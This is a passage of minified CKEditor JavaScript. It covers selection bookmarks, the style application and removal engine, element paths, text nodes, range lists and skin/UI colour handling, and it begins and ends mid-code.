)>=0))throw e;t.collapse(1),o.setEnd(t.endContainer.$,t.endOffset)}d.addRange(o)}}this.reset(),this.root.fire("selectionchange")}},fake:function(e){var t=this.root.editor;this.reset(),function(e){var t=CKEDITOR.dom.element.createFromHtml('<div data-cke-hidden-sel="1" data-cke-temp="1" style="'+(CKEDITOR.env.ie?"display:none":"position:fixed;top:0;left:-1000px")+'"> </div>',e.document);e.fire("lockSnapshot"),e.editable().append(t);var n=e.getSelection(),i=e.createRange(),o=n.root.on("selectionchange",(function(e){e.cancel()}),null,null,0);i.setStartAt(t,CKEDITOR.POSITION_AFTER_START),i.setEndAt(t,CKEDITOR.POSITION_BEFORE_END),n.selectRanges([i]),o.removeListener(),e.fire("unlockSnapshot"),e._.hiddenSelectionContainer=t}(t);var n=this._.cache,i=new CKEDITOR.dom.range(this.root);i.setStartBefore(e),i.setEndAfter(e),n.ranges=new CKEDITOR.dom.rangeList(i),n.selectedElement=n.startElement=e,n.type=CKEDITOR.SELECTION_ELEMENT,n.selectedText=n.nativeSel=null,this.isFake=1,this.rev=m++,t._.fakeSelection=this,this.root.fire("selectionchange")},isHidden:function(){var e=this.getCommonAncestor();return e&&e.type==CKEDITOR.NODE_TEXT&&(e=e.getParent()),!(!e||!e.data("cke-hidden-sel"))},createBookmarks:function(e){return e=this.getRanges().createBookmarks(e),this.isFake&&(e.isFake=1),e},createBookmarks2:function(e){return e=this.getRanges().createBookmarks2(e),this.isFake&&(e.isFake=1),e},selectBookmarks:function(e){for(var t=[],n=0;n<e.length;n++){var i=new CKEDITOR.dom.range(this.root);i.moveToBookmark(e[n]),t.push(i)}return e.isFake?this.fake(t[0].getEnclosedNode()):this.selectRanges(t),this},getCommonAncestor:function(){var e=this.getRanges();return e.length?e[0].startContainer.getCommonAncestor(e[e.length-1].endContainer):null},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&&this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){var e=this.getNative();try{e&&e[h?"empty":"removeAllRanges"]()}catch(e){}this.reset()}}}(),CKEDITOR.editor.prototype.attachStyleStateChange=function(e,t){var n=this._.styleStateChangeCallbacks;n||(n=this._.styleStateChangeCallbacks=[],this.on("selectionChange",(function(e){for(var t=0;t<n.length;t++){var i=n[t],o=i.style.checkActive(e.data.path)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;i.fn.call(this,o)}}))),n.push({style:e,fn:t})},CKEDITOR.STYLE_BLOCK=1,CKEDITOR.STYLE_INLINE=2,CKEDITOR.STYLE_OBJECT=3,function(){function e(e,t){for(var n,i;(e=e.getParent())&&!e.equals(t);)if(e.getAttribute("data-nostyle"))n=e;else if(!i){var o=e.getAttribute("contentEditable");"false"==o?n=e:"true"==o&&(i=1)}return n}function t(n){var o=n.document;if(n.collapsed)o=f(this,o),n.insertNode(o),n.moveToPosition(o,CKEDITOR.POSITION_BEFORE_END);else{var r,a=this.element,s=this._.definition,l=(T=s.ignoreReadonly)||s.includeReadonly;null==l&&(l=n.root.getCustomData("cke_includeReadonly"));var c=CKEDITOR.dtd[a];c||(r=!0,c=CKEDITOR.dtd.span),n.enlarge(CKEDITOR.ENLARGE_INLINE,1),n.trim();var d,h=n.createBookmark(),m=h.startNode,E=h.endNode,g=m;if(!T){var T=e(m,p=n.getCommonAncestor()),p=e(E,p);T&&(g=T.getNextSourceNode(!0)),p&&(E=p)}for(g.getPosition(E)==CKEDITOR.POSITION_FOLLOWING&&(g=0);g;){if(T=!1,g.equals(E))g=null,T=!0;else{p=(y=g.type==CKEDITOR.NODE_ELEMENT?g.getName():null)&&"false"==g.getAttribute("contentEditable");var C=y&&g.getAttribute("data-nostyle");if(y&&g.data("cke-bookmark")){g=g.getNextSourceNode(!0);continue}if(p&&l&&CKEDITOR.dtd.$block[y])for(var I=void 0,O=0,D=(x=(S=i(D=g)).length)&&new CKEDITOR.dom.range(D.getDocument());O<x;++O){I=S[O];var R=CKEDITOR.filter.instances[I.data("cke-filter")];R&&!R.check(this)||(D.selectNodeContents(I),t.call(this,D))}if(S=y?!c[y]||C||p&&!l?0:(g.getPosition(E)|K)==K&&(!s.childRule||s.childRule(g)):1){if(!(S=g.getParent())||!(S.getDtd()||CKEDITOR.dtd.span)[a]&&!r||s.parentRule&&!s.parentRule(S))T=!0;else if(d||y&&CKEDITOR.dtd.$removeEmpty[y]&&(g.getPosition(E)|K)!=K||(d=n.clone()).setStartBefore(g),(y=g.type)==CKEDITOR.NODE_TEXT||p||y==CKEDITOR.NODE_ELEMENT&&!g.getChildCount()){for(var b,y=g;(T=!y.getNext(v))&&c[(b=y.getParent()).getName()]&&(b.getPosition(m)|_)==_&&(!s.childRule||s.childRule(b));)y=b;d.setEndAfter(y)}}else T=!0;g=g.getNextSourceNode(C||p)}if(T&&d&&!d.collapsed){p=(T=f(this,o)).hasAttributes(),C=d.getCommonAncestor(),y={};for(var k,w,N,S={},x=(I={},{});T&&C;){if(C.getName()==a){for(k in s.attributes)!x[k]&&(N=C.getAttribute(w))&&(T.getAttribute(k)==N?S[k]=1:x[k]=1);for(w in s.styles)!I[w]&&(N=C.getStyle(w))&&(T.getStyle(w)==N?y[w]=1:I[w]=1)}C=C.getParent()}for(k in S)T.removeAttribute(k);for(w in y)T.removeStyle(w);p&&!T.hasAttributes()&&(T=null),T?(d.extractContents().appendTo(T),d.insertNode(T),u.call(this,T),T.mergeSiblings(),CKEDITOR.env.ie||T.$.normalize()):(T=new CKEDITOR.dom.element("span"),d.extractContents().appendTo(T),d.insertNode(T),u.call(this,T),T.remove(!0)),d=null}}n.moveToBookmark(h),n.shrink(CKEDITOR.SHRINK_TEXT),n.shrink(CKEDITOR.NODE_ELEMENT,!0)}}function n(e){function t(){for(var e=new CKEDITOR.dom.elementPath(i.getParent()),t=new CKEDITOR.dom.elementPath(c.getParent()),n=null,o=null,r=0;r<e.elements.length;r++){var a=e.elements[r];if(a==e.block||a==e.blockLimit)break;u.checkElementRemovable(a)&&(n=a)}for(r=0;r<t.elements.length&&(a=t.elements[r])!=t.block&&a!=t.blockLimit;r++)u.checkElementRemovable(a)&&(o=a);o&&c.breakParent(o),n&&i.breakParent(n)}e.enlarge(CKEDITOR.ENLARGE_INLINE,1);var n=e.createBookmark(),i=n.startNode;if(e.collapsed){for(var o,r,a=new CKEDITOR.dom.elementPath(i.getParent(),e.root),s=0;s<a.elements.length&&(r=a.elements[s])&&r!=a.block&&r!=a.blockLimit;s++){var l;this.checkElementRemovable(r)&&(e.collapsed&&(e.checkBoundaryOfElement(r,CKEDITOR.END)||(l=e.checkBoundaryOfElement(r,CKEDITOR.START)))?(o=r).match=l?"start":"end":(r.mergeSiblings(),r.is(this.element)?d.call(this,r):h(r,T(this)[r.getName()])))}if(o){for(r=i,s=0;!(l=a.elements[s]).equals(o);s++)l.match||((l=l.clone()).append(r),r=l);r["start"==o.match?"insertBefore":"insertAfter"](o)}}else{var c=n.endNode,u=this;for(t(),a=i;!a.equals(c);)o=a.getNextSourceNode(),a.type==CKEDITOR.NODE_ELEMENT&&this.checkElementRemovable(a)&&(a.getName()==this.element?d.call(this,a):h(a,T(this)[a.getName()]),o.type==CKEDITOR.NODE_ELEMENT&&o.contains(i)&&(t(),o=i.getNext())),a=o}e.moveToBookmark(n),e.shrink(CKEDITOR.NODE_ELEMENT,!0)}function i(e){var t=[];return e.forEach((function(e){if("true"==e.getAttribute("contenteditable"))return t.push(e),!1}),CKEDITOR.NODE_ELEMENT,!0),t}function o(e){var t=e.getEnclosedNode()||e.getCommonAncestor(!1,!0);(e=new CKEDITOR.dom.elementPath(t,e.root).contains(this.element,1))&&!e.isReadOnly()&&E(e,this)}function r(e){var t=e.getCommonAncestor(!0,!0);if(e=new CKEDITOR.dom.elementPath(t,e.root).contains(this.element,1)){var n=(t=this._.definition).attributes;if(n)for(var i in n)e.removeAttribute(i,n[i]);if(t.styles)for(var o in t.styles)t.styles.hasOwnProperty(o)&&e.removeStyle(o)}}function a(e){var t=e.createBookmark(!0),n=e.createIterator();n.enforceRealBlocks=!0,this._.enterMode&&(n.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR);for(var i,o=e.document;i=n.getNextParagraph();)i.isReadOnly()||n.activeFilter&&!n.activeFilter.check(this)||l(i,f(this,o,i));e.moveToBookmark(t)}function s(e){var t,n,i=e.createBookmark(1),o=e.createIterator();for(o.enforceRealBlocks=!0,o.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;t=o.getNextParagraph();)this.checkElementRemovable(t)&&(t.is("pre")?((n=this._.enterMode==CKEDITOR.ENTER_BR?null:e.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))&&t.copyAttributes(n),l(t,n)):d.call(this,t));e.moveToBookmark(i)}function l(e,t){(n=!t)&&(t=e.getDocument().createElement("div"),e.copyAttributes(t));var n,i,o=t&&t.is("pre"),r=e.is("pre"),a=!o&&r;if(o&&!r){if(r=t,(a=e.getBogus())&&a.remove(),a=(a=(a=(a=c(a=e.getHtml(),/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,"")).replace(/[ \t\r\n]*(<br[^>]*>)[ \t\r\n]*/gi,"$1")).replace(/([ \t\n\r]+| )/g," ")).replace(/<br\b[^>]*>/gi,"\n"),CKEDITOR.env.ie){var s=e.getDocument().createElement("div");s.append(r),r.$.outerHTML="<pre>"+a+"</pre>",r.copyAttributes(s.getFirst()),r=s.getFirst().remove()}else r.setHtml(a);t=r}else a?t=function(e,t){var n;e.length>1&&(n=new CKEDITOR.dom.documentFragment(t.getDocument()));for(var i=0;i<e.length;i++){var o=c(o=(o=e[i]).replace(/(\r\n|\r)/g,"\n"),/^[ \t]*\n/,"");if(o=c(o,/\n$/,""),o=(o=(o=c(o,/^[ \t]+|[ \t]+$/g,(function(e,t){return 1==e.length?" ":t?" "+CKEDITOR.tools.repeat(" ",e.length-1):CKEDITOR.tools.repeat(" ",e.length-1)+" "}))).replace(/\n/g,"<br>")).replace(/[ \t]{2,}/g,(function(e){return CKEDITOR.tools.repeat(" ",e.length-1)+" "})),n){var r=t.clone();r.setHtml(o),n.append(r)}else t.setHtml(o)}return n||t}(n?[e.getHtml()]:function(e){e.getName();var t=[];return c(e.getOuterHtml(),/(\S\s*)\n(?:\s|(<span[^>]+data-cke-bookmark.*?\/span>))*\n(?!$)/gi,(function(e,t,n){return t+"</pre>"+n+"<pre>"})).replace(/<pre\b.*?>([\s\S]*?)<\/pre>/gi,(function(e,n){t.push(n)})),t}(e),t):e.moveChildren(t);t.replace(e),o?(i=(n=t).getPrevious(b))&&i.type==CKEDITOR.NODE_ELEMENT&&i.is("pre")&&(o=c(i.getHtml(),/\n$/,"")+"\n\n"+c(n.getHtml(),/^\n/,""),CKEDITOR.env.ie?n.$.outerHTML="<pre>"+o+"</pre>":n.setHtml(o),i.remove()):n&&m(t)}function c(e,t,n){var i="",o="";return e=e.replace(/(^<span[^>]+data-cke-bookmark.*?\/span>)|(<span[^>]+data-cke-bookmark.*?\/span>$)/gi,(function(e,t,n){return t&&(i=t),n&&(o=n),""})),i+e.replace(t,n)+o}function d(e){var t,n=(i=this._.definition).attributes,i=i.styles,o=T(this)[e.getName()],r=CKEDITOR.tools.isEmpty(n)&&CKEDITOR.tools.isEmpty(i);for(t in n)("class"!=t&&!this._.definition.fullMatch||e.getAttribute(t)==p(t,n[t]))&&(r=e.hasAttribute(t),e.removeAttribute(t));for(var a in i)this._.definition.fullMatch&&e.getStyle(a)!=p(a,i[a],!0)||(r=r||!!e.getStyle(a),e.removeStyle(a));h(e,o,I[e.getName()]),r&&(this._.definition.alwaysRemoveElement?m(e,1):!CKEDITOR.dtd.$block[e.getName()]||this._.enterMode==CKEDITOR.ENTER_BR&&!e.hasAttributes()?m(e):e.renameNode(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))}function u(e){for(var t,n=T(this),i=e.getElementsByTag(this.element),o=i.count();--o>=0;)(t=i.getItem(o)).isReadOnly()||d.call(this,t);for(var r in n)if(r!=this.element)for(o=(i=e.getElementsByTag(r)).count()-1;o>=0;o--)(t=i.getItem(o)).isReadOnly()||h(t,n[r])}function h(e,t,n){if(t=t&&t.attributes)for(var i=0;i<t.length;i++){var o,r=t[i][0];if(o=e.getAttribute(r)){var a=t[i][1];(null===a||a.test&&a.test(o)||"string"==typeof a&&o==a)&&e.removeAttribute(r)}}n||m(e)}function m(e,t){if(!e.hasAttributes()||t)if(CKEDITOR.dtd.$block[e.getName()]){var n=e.getPrevious(b),i=e.getNext(b);n&&(n.type==CKEDITOR.NODE_TEXT||!n.isBlockBoundary({br:1}))&&e.append("br",1),i&&(i.type==CKEDITOR.NODE_TEXT||!i.isBlockBoundary({br:1}))&&e.append("br"),e.remove(!0)}else n=e.getFirst(),i=e.getLast(),e.remove(!0),n&&(n.type==CKEDITOR.NODE_ELEMENT&&n.mergeSiblings(),i&&!n.equals(i)&&i.type==CKEDITOR.NODE_ELEMENT&&i.mergeSiblings())}function f(e,t,n){var i;return"*"==(i=e.element)&&(i="span"),i=new CKEDITOR.dom.element(i,t),n&&n.copyAttributes(i),i=E(i,e),t.getCustomData("doc_processing_style")&&i.hasAttribute("id")?i.removeAttribute("id"):t.setCustomData("doc_processing_style",1),i}function E(e,t){var n=(i=t._.definition).attributes,i=CKEDITOR.style.getStyleText(i);if(n)for(var o in n)e.setAttribute(o,n[o]);return i&&e.setAttribute("style",i),e}function g(e,t){for(var n in e)e[n]=e[n].replace(R,(function(e,n){return t[n]}))}function T(e){if(e._.overrides)return e._.overrides;var t=e._.overrides={},n=e._.definition.overrides;if(n){CKEDITOR.tools.isArray(n)||(n=[n]);for(var i=0;i<n.length;i++){var o,r;if("string"==typeof(s=n[i])?o=s.toLowerCase():(o=s.element?s.element.toLowerCase():e.element,r=s.attributes),s=t[o]||(t[o]={}),r){var a,s=s.attributes=s.attributes||[];for(a in r)s.push([a.toLowerCase(),r[a]])}}}return t}function p(e,t,n){var i=new CKEDITOR.dom.element("span");return i[n?"setStyle":"setAttribute"](e,t),i[n?"getStyle":"getAttribute"](e)}function C(e,t){for(var n,i=e.document,o=e.getRanges(),r=t?this.removeFromRange:this.applyToRange,a=o.createIterator();n=a.getNextRange();)r.call(this,n);e.selectRanges(o),i.removeCustomData("doc_processing_style")}var I={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},O={a:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},D=/\s*(?:;\s*|$)/,R=/#\((.+?)\)/g,v=CKEDITOR.dom.walker.bookmark(0,1),b=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(e,t){var n=e.attributes;n&&n.style&&(e.styles=CKEDITOR.tools.extend({},e.styles,CKEDITOR.tools.parseCssText(n.style)),delete n.style),t&&(g((e=CKEDITOR.tools.clone(e)).attributes,t),g(e.styles,t)),n=this.element=e.element?"string"==typeof e.element?e.element.toLowerCase():e.element:"*",this.type=e.type||(I[n]?CKEDITOR.STYLE_BLOCK:O[n]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE),"object"==typeof this.element&&(this.type=CKEDITOR.STYLE_OBJECT),this._={definition:e}},CKEDITOR.editor.prototype.applyStyle=function(e){e.checkApplicable(this.elementPath())&&C.call(e,this.getSelection())},CKEDITOR.editor.prototype.removeStyle=function(e){e.checkApplicable(this.elementPath())&&C.call(e,this.getSelection(),1)},CKEDITOR.style.prototype={apply:function(e){C.call(this,e.getSelection())},remove:function(e){C.call(this,e.getSelection(),1)},applyToRange:function(e){return(this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?t:this.type==CKEDITOR.STYLE_BLOCK?a:this.type==CKEDITOR.STYLE_OBJECT?o:null).call(this,e)},removeFromRange:function(e){return(this.removeFromRange=this.type==CKEDITOR.STYLE_INLINE?n:this.type==CKEDITOR.STYLE_BLOCK?s:this.type==CKEDITOR.STYLE_OBJECT?r:null).call(this,e)},applyToObject:function(e){E(e,this)},checkActive:function(e){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(e.block||e.blockLimit,!0);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var t,n=e.elements,i=0;i<n.length;i++)if(t=n[i],this.type!=CKEDITOR.STYLE_INLINE||t!=e.block&&t!=e.blockLimit){if(this.type==CKEDITOR.STYLE_OBJECT){var o=t.getName();if(!("string"==typeof this.element?o==this.element:o in this.element))continue}if(this.checkElementRemovable(t,!0))return!0}}return!1},checkApplicable:function(e,t){if(t&&!t.check(this))return!1;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!e.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!e.blockLimit.getDtd()[this.element]}return!0},checkElementMatch:function(e,t){var n=this._.definition;if(!e||!n.ignoreReadonly&&e.isReadOnly())return!1;var i=e.getName();if("string"==typeof this.element?i==this.element:i in this.element){if(!t&&!e.hasAttributes())return!0;if(i=n._AC)n=i;else{i={};var o=0,r=n.attributes;if(r)for(var a in r)o++,i[a]=r[a];(a=CKEDITOR.style.getStyleText(n))&&(i.style||o++,i.style=a),i._length=o,n=n._AC=i}if(!n._length)return!0;for(var s in n)if("_length"!=s){if(o=e.getAttribute(s)||"","style"==s)e:{for(a in"string"==typeof(i=n[s])&&(i=CKEDITOR.tools.parseCssText(i)),"string"==typeof o&&(o=CKEDITOR.tools.parseCssText(o,!0)),a=void 0,i)if(!(a in o)||o[a]!=i[a]&&"inherit"!=i[a]&&"inherit"!=o[a]){i=!1;break e}i=!0}else i=n[s]==o;if(i){if(!t)return!0}else if(t)return!1}if(t)return!0}return!1},checkElementRemovable:function(e,t){if(this.checkElementMatch(e,t))return!0;var n=T(this)[e.getName()];if(n){var i;if(!(n=n.attributes))return!0;for(var o=0;o<n.length;o++)if(i=n[o][0],i=e.getAttribute(i)){var r=n[o][1];if(null===r||"string"==typeof r&&i==r||r.test(i))return!0}}return!1},buildPreview:function(e){var t=this._.definition,n=[],i=t.element;"bdo"==i&&(i="span"),n=["<",i];var o=t.attributes;if(o)for(var r in o)n.push(" ",r,'="',o[r],'"');return(o=CKEDITOR.style.getStyleText(t))&&n.push(' style="',o,'"'),n.push(">",e||t.name,"</",i,">"),n.join("")},getDefinition:function(){return this._.definition}},CKEDITOR.style.getStyleText=function(e){if(t=e._ST)return t;var t=e.styles,n=e.attributes&&e.attributes.style||"",i="";for(var o in n.length&&(n=n.replace(D,";")),t){var r=t[o],a=(o+":"+r).replace(D,";");"inherit"==r?i+=a:n+=a}return n.length&&(n=CKEDITOR.tools.normalizeCssText(n,!0)),e._ST=n+i};var K=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,_=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED}(),CKEDITOR.styleCommand=function(e,t){this.requiredContent=this.allowedContent=this.style=e,CKEDITOR.tools.extend(this,t,!0)},CKEDITOR.styleCommand.prototype.exec=function(e){e.focus(),this.state==CKEDITOR.TRISTATE_OFF?e.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&&e.removeStyle(this.style)},CKEDITOR.stylesSet=new CKEDITOR.resourceManager("","stylesSet"),CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet),CKEDITOR.loadStylesSet=function(e,t,n){CKEDITOR.stylesSet.addExternal(e,t,""),CKEDITOR.stylesSet.load(e,n)},CKEDITOR.editor.prototype.getStylesSet=function(e){if(this._.stylesDefinitions)e(this._.stylesDefinitions);else{var t=this;if(!1===(n=t.config.stylesCombo_stylesSet||t.config.stylesSet))e(null);else if(n instanceof Array)t._.stylesDefinitions=n,e(n);else{n||(n="default");var n,i=(n=n.split(":"))[0];CKEDITOR.stylesSet.addExternal(i,n[1]?n.slice(1).join(":"):CKEDITOR.getUrl("styles.js"),""),CKEDITOR.stylesSet.load(i,(function(n){t._.stylesDefinitions=n[i],e(t._.stylesDefinitions)}))}}},CKEDITOR.dom.comment=function(e,t){"string"==typeof e&&(e=(t?t.$:document).createComment(e)),CKEDITOR.dom.domObject.call(this,e)},CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node,CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return"\x3c!--"+this.$.nodeValue+"--\x3e"}}),function(){var e,t={},n={};for(e in CKEDITOR.dtd.$blockLimit)e in CKEDITOR.dtd.$list||(t[e]=1);for(e in CKEDITOR.dtd.$block)e in CKEDITOR.dtd.$blockLimit||e in CKEDITOR.dtd.$empty||(n[e]=1);CKEDITOR.dom.elementPath=function(e,i){var o,r=null,a=null,s=[],l=e;i=i||e.getDocument().getBody();do{if(l.type==CKEDITOR.NODE_ELEMENT){if(s.push(l),!this.lastElement&&(this.lastElement=l,l.is(CKEDITOR.dtd.$object)||"false"==l.getAttribute("contenteditable")))continue;if(l.equals(i))break;if(!a&&(o=l.getName(),"true"==l.getAttribute("contenteditable")?a=l:!r&&n[o]&&(r=l),t[o])){var c;if(c=!r){if(o="div"==o){e:{c=0;for(var d=(o=l.getChildren()).count();c<d;c++){var u=o.getItem(c);if(u.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$block[u.getName()]){o=!0;break e}}o=!1}o=!o}c=o}c?r=l:a=l}}}while(l=l.getParent());a||(a=i),this.block=r,this.blockLimit=a,this.root=i,this.elements=s}}(),CKEDITOR.dom.elementPath.prototype={compare:function(e){var t=this.elements;if(!(e=e&&e.elements)||t.length!=e.length)return!1;for(var n=0;n<t.length;n++)if(!t[n].equals(e[n]))return!1;return!0},contains:function(e,t,n){var i;"string"==typeof e&&(i=function(t){return t.getName()==e}),e instanceof CKEDITOR.dom.element?i=function(t){return t.equals(e)}:CKEDITOR.tools.isArray(e)?i=function(t){return CKEDITOR.tools.indexOf(e,t.getName())>-1}:"function"==typeof e?i=e:"object"==typeof e&&(i=function(t){return t.getName()in e});var o=this.elements,r=o.length;for(t&&r--,n&&(o=Array.prototype.slice.call(o,0)).reverse(),t=0;t<r;t++)if(i(o[t]))return o[t];return null},isContextFor:function(e){return!(e in CKEDITOR.dtd.$block)||!!(this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&&this.block||this.blockLimit).getDtd()[e]},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}},CKEDITOR.dom.text=function(e,t){"string"==typeof e&&(e=(t?t.$:document).createTextNode(e)),this.$=e},CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node,CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(e){this.$.nodeValue=e},split:function(e){var t=this.$.parentNode,n=t.childNodes.length,i=this.getLength(),o=this.getDocument(),r=new CKEDITOR.dom.text(this.$.splitText(e),o);return t.childNodes.length==n&&(e>=i?(r=o.createText("")).insertAfter(this):((e=o.createText("")).insertAfter(r),e.remove())),r},substring:function(e,t){return"number"!=typeof t?this.$.nodeValue.substr(e):this.$.nodeValue.substring(e,t)}}),function(){function e(e,t,n){var i=e.serializable,o=t[n?"endContainer":"startContainer"],r=n?"endOffset":"startOffset",a=i?t.document.getById(e.startNode):e.startNode;return e=i?t.document.getById(e.endNode):e.endNode,o.equals(a.getPrevious())?(t.startOffset=t.startOffset-o.getLength()-e.getPrevious().getLength(),o=e.getNext()):o.equals(e.getPrevious())&&(t.startOffset=t.startOffset-o.getLength(),o=e.getNext()),o.equals(a.getParent())&&t[r]++,o.equals(e.getParent())&&t[r]++,t[n?"endContainer":"startContainer"]=o,t}CKEDITOR.dom.rangeList=function(e){return e instanceof CKEDITOR.dom.rangeList?e:(e?e instanceof CKEDITOR.dom.range&&(e=[e]):e=[],CKEDITOR.tools.extend(e,t))};var t={createIterator:function(){var e,t=this,n=CKEDITOR.dom.walker.bookmark(),i=[];return{getNextRange:function(o){var r=t[e=null==e?0:e+1];if(r&&t.length>1){if(!e)for(var a=t.length-1;a>=0;a--)i.unshift(t[a].createBookmark(!0));if(o)for(var s=0;t[e+s+1];){o=0,a=(l=r.document).getById(i[s].endNode);for(var l=l.getById(i[s+1].startNode);;){if(a=a.getNextSourceNode(!1),l.equals(a))o=1;else if(n(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.isBlockBoundary())continue;break}if(!o)break;s++}for(r.moveToBookmark(i.shift());s--;)(a=t[++e]).moveToBookmark(i.shift()),r.setEnd(a.endContainer,a.endOffset)}return r}}},createBookmarks:function(t){for(var n,i=[],o=0;o<this.length;o++){i.push(n=this[o].createBookmark(t,!0));for(var r=o+1;r<this.length;r++)this[r]=e(n,this[r]),this[r]=e(n,this[r],!0)}return i},createBookmarks2:function(e){for(var t=[],n=0;n<this.length;n++)t.push(this[n].createBookmark2(e));return t},moveToBookmarks:function(e){for(var t=0;t<this.length;t++)this[t].moveToBookmark(e[t])}}}(),function(){function e(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(",")[1]||"skins/"+CKEDITOR.skinName.split(",")[0]+"/")}function t(t){var n=CKEDITOR.skin["ua_"+t],i=CKEDITOR.env;if(n){n=n.split(",").sort((function(e,t){return e>t?-1:1}));for(var o,r=0;r<n.length;r++)if(o=n[r],i.ie&&(o.replace(/^ie/,"")==i.version||i.quirks&&"iequirks"==o)&&(o="ie"),i[o]){t=t+"_"+n[r];break}}return CKEDITOR.getUrl(e()+t+".css")}function n(e,n){r[e]||(CKEDITOR.document.appendStyleSheet(t(e)),r[e]=1),n&&n()}function i(e){var t=e.getById(a);return t||((t=e.getHead().append("style")).setAttribute("id",a),t.setAttribute("type","text/css")),t}function o(e,t,n){var i,o,r;if(CKEDITOR.env.webkit)for(t=t.split("}").slice(0,-1),o=0;o<t.length;o++)t[o]=t[o].split("{");for(var a=0;a<e.length;a++)if(CKEDITOR.env.webkit)for(o=0;o<t.length;o++){for(r=t[o][1],i=0;i<n.length;i++)r=r.replace(n[i][0],n[i][1]);e[a].$.sheet.addRule(t[o][0],r)}else{for(r=t,i=0;i<n.length;i++)r=r.replace(n[i][0],n[i][1]);CKEDITOR.env.ie&&CKEDITOR.env.version<11?e[a].$.styleSheet.cssText=e[a].$.styleSheet.cssText+r:e[a].$.innerHTML=e[a].$.innerHTML+r}}var r={};CKEDITOR.skin={path:e,loadPart:function(t,i){CKEDITOR.skin.name!=CKEDITOR.skinName.split(",")[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e()+"skin.js"),(function(){n(t,i)})):n(t,i)},getPath:function(e){return CKEDITOR.getUrl(t(e))},icons:{},addIcon:function(e,t,n,i){e=e.toLowerCase(),this.icons[e]||(this.icons[e]={path:t,offset:n||0,bgsize:i||"16px"})},getIconStyle:function(e,t,n,i,o){var r;return e&&(e=e.toLowerCase(),t&&(r=this.icons[e+"-rtl"]),r||(r=this.icons[e])),e=n||r&&r.path||"",i=i||r&&r.offset,o=o||r&&r.bgsize||"16px",e&&"background-image:url("+CKEDITOR.getUrl(e)+");background-position:0 "+i+"px;background-size:"+o+";"}},CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(e){var t=i(CKEDITOR.document);return(this.setUiColor=function(e){var n=CKEDITOR.skin.chameleon,i=[[l,e]];this.uiColor=e,o([t],n(this,"editor"),i),o(s,n(this,"panel"),i)}).call(this,e)}});var a="cke_ui_color",s=[],l=/\$color/g;CKEDITOR.on("instanceLoaded",(function(e){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var t=e.editor;e=function(e){if(!(e=(e.data[0]||e.data).element.getElementsByTag("iframe").getItem(0).getFrameDocument()).getById("cke_ui_color")){e=i(e),s.push(e);var n=t.getUiColor();n&&o([e],CKEDITOR.skin.chameleon(t,"panel"),[[l,n]])}},t.on("panelShow",e),t.on("menuShow",e),t.config.uiColor&&t.setUiColor(t.config.uiColor)}}))}(),function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=!1;else{var e=CKEDITOR.dom.element.createFromHtml('<div style="width:0px;height:0px;position:absolute;left:-10000px;border: 1px solid;border-color: red blue;"></div>',CKEDITOR.document);e.appendTo(CKEDITOR.document.getHead());try{CKEDITOR.env.hc=e.getComputedStyle("border-top-color")==e.getComputedStyle("border-right-color")}catch(e){CKEDITOR.env.hc=!1}e.remove()}if(CKEDITOR.env.hc&&(CKEDITOR.env.cssClass=CKEDITOR.env.cssClass+" cke_hc"),CKEDITOR.document.appendStyleText(".cke{visibility:hidden;}"),CKEDITOR.status="loaded",CKEDITOR.fireOnce("loaded"),e=CKEDITOR._.pending){delete CKEDITOR._.pending;for(var t=0;t<e.length;t++)CKEDITOR.editor.prototype.constructor.apply(e[t][0],e[t][1]),CKEDITOR.add(e[t][0])}}(),CKEDITOR.skin.name="moono",CKEDITOR.skin.ua_editor="ie,iequirks,ie7,ie8,gecko",CKEDITOR.skin.ua_dialog="ie,iequirks,ie7,ie8,opera",CKEDITOR.skin.chameleon=function(){var e=function(e,t){for(var n=e.match(/[^#]./g),i=0;3>i;i++){var o,r=n,a=i;o=parseInt(n[i],16),o=("0"+(0>t?0|o*(1+t):0|o+(255-o)*t).toString(16)).slice(-2),r[a]=o}return"#"+n.join("")},t=function(){var e=new 